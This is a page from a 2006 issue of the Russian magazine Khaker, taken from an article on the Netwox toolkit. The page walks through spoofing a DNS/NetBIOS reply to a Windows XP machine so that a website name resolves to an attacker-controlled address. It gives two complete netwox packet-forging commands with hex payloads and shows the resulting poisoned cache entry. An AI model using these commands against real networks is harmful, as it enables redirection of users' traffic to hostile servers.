Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #87, МАРТ 2006 г.

Мегакухонный комбайн

ShadOS

Хакер, номер #087, стр. 087-092-4


DNS-spoofing

Займемся делами посерьезнее и попробуем подсунуть на тачку под управлением Windows XP подмененный ответ DNS-сервера. Пусть на этом компьютере нет никаких брандмауэров, кроме стандартного Microsoft Internet Connection Firewall, который сконфигурирован на логирование всех dropped-пакетов и успешных подключений. Пользователь, пытаясь зайти на некоторый web-сайт, URL которого www.somewebsite.org, вбивает адрес в Internet Explorer. В результате этого DNS-запрос посылается с порта 1026 тачки пользователя (допустим ее IP-адрес будет 192.168.1.1) на 53 порт DNS-сервера с IP-адресом 192.168.1.254. В это время заспуфенный DNS-ответ, в виде NetBIOS-данных, посылается с фейкового IP-адреса 10.10.10.1 злым дядей Пупкиным, сообщая машине атакуемого, что адрес web-сервера - 192.168.1.77. IP-адрес 192.168.1.77 в действительности находится под контролем все того же злого дядьки, причем на главной странице он написал нехорошее слово из трех букв :). Этот NetBIOS-пакет, отловленный Ethereal’ом, можно рассмотреть на скриншоте под номером 6.

Естественно, в качестве снифера можно было бы использовать утилиту из состава Netwox, однако это у меня не вышло, так как в процессе написания статьи я обнаружил досадный и очень странный баг: на параметр --filter Netwox ругался, поясняя, что IP-адрес не является булевым полем. Ну да бог с ним, с Васей :). Посмотрим лучше, как можно такой пакет создать. Это очень просто сделать с помощью все того же любимого мной Netwox:

netwox 38 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --ip4-protocol 17

--ip4-data 008904020044000000038580000000010000000020464845504643454c45484

643455046464641434143414341434143414341424c0000010001000151800004c0a8014d

Непонятным остается только параметр --ip4-data и --ip4-protocol. Назначение первого параметра достаточно легко уяснить из RFC по DNS - в данных находится возвращаемый на DNS-запрос IP-адрес 192.168.1.77. Параметр --ip4-protocol 17 означает, что Пупкин конструирует UDP-пакет. Второй способ конструирования такого пакета кажется мне еще более удобным. Для этого воспользуемся утилитой 39, которая автоматически подсчитает контрольную сумму пакета:

netwox 39 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --udp-src 137

--udp-dst 1026 --udp-data 00038580000000010000000020464845504643454c45484

643455046464641434143414341434143414341424c0000010001000151800004c0a8014d

Что же мы с этого получим? Если бы несчастный атакуемый посмотрел в данный момент кэш DNS-запросов на период в один день, отравленным злым Пупкиным, он бы увидел там вот что:

www.somewebsite.org

----------------------------------------

Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL

Назад на стр. 087-092-3  Содержание  Вперед на стр. 087-092-5